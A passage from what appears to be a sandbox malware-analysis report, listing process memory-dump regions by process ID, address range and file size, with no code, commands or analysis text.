                                                                                                                                                                                                                                                                                                          • memory/4976-218-0x00000222D6BC0000-0x00000222D6C1C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            368KB

                                                                                                                                                                                                                                                                                                          • memory/5248-520-0x0000000010000000-0x00000000105DF000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            5.9MB

                                                                                                                                                                                                                                                                                                          • memory/5248-532-0x0000000002630000-0x00000000026B5000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            532KB

                                                                                                                                                                                                                                                                                                          • memory/5248-585-0x0000000002E80000-0x0000000002EE9000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            420KB

                                                                                                                                                                                                                                                                                                          • memory/5272-438-0x0000000006DA0000-0x0000000006E36000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            600KB

                                                                                                                                                                                                                                                                                                          • memory/5272-422-0x0000000006270000-0x00000000065C4000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            3.3MB

                                                                                                                                                                                                                                                                                                          • memory/5272-439-0x0000000006D20000-0x0000000006D3A000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            104KB

                                                                                                                                                                                                                                                                                                          • memory/5272-440-0x0000000006D70000-0x0000000006D92000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                                                                                          • memory/5564-469-0x0000000005C90000-0x0000000005CAA000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            104KB

                                                                                                                                                                                                                                                                                                          • memory/5564-437-0x00000000073D0000-0x0000000007692000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.8MB

                                                                                                                                                                                                                                                                                                          • memory/5564-444-0x00000000044C0000-0x00000000044C6000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            24KB

                                                                                                                                                                                                                                                                                                          • memory/5564-470-0x0000000006190000-0x0000000006196000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            24KB

                                                                                                                                                                                                                                                                                                          • memory/5564-274-0x0000000000150000-0x00000000001BA000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            424KB

                                                                                                                                                                                                                                                                                                          • memory/5564-275-0x0000000004B50000-0x0000000004BEC000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            624KB

                                                                                                                                                                                                                                                                                                          • memory/5988-345-0x0000019A69C00000-0x0000019A6A852000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.3MB

                                                                                                                                                                                                                                                                                                          • memory/6020-598-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            368KB

                                                                                                                                                                                                                                                                                                          • memory/6020-600-0x0000000000400000-0x000000000045C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            368KB

                                                                                                                                                                                                                                                                                                          • memory/6084-368-0x0000000140000000-0x000000014159C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            21.6MB

                                                                                                                                                                                                                                                                                                          • memory/6084-372-0x0000000140000000-0x000000014159C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            21.6MB

                                                                                                                                                                                                                                                                                                          • memory/6084-369-0x0000000140000000-0x000000014159C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            21.6MB

                                                                                                                                                                                                                                                                                                          • memory/6084-349-0x0000000140000000-0x000000014159C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            21.6MB

                                                                                                                                                                                                                                                                                                          • memory/6084-371-0x0000000140000000-0x000000014159C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            21.6MB

                                                                                                                                                                                                                                                                                                          • memory/6084-389-0x0000000140000000-0x000000014159C000-memory.dmp
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            21.6MB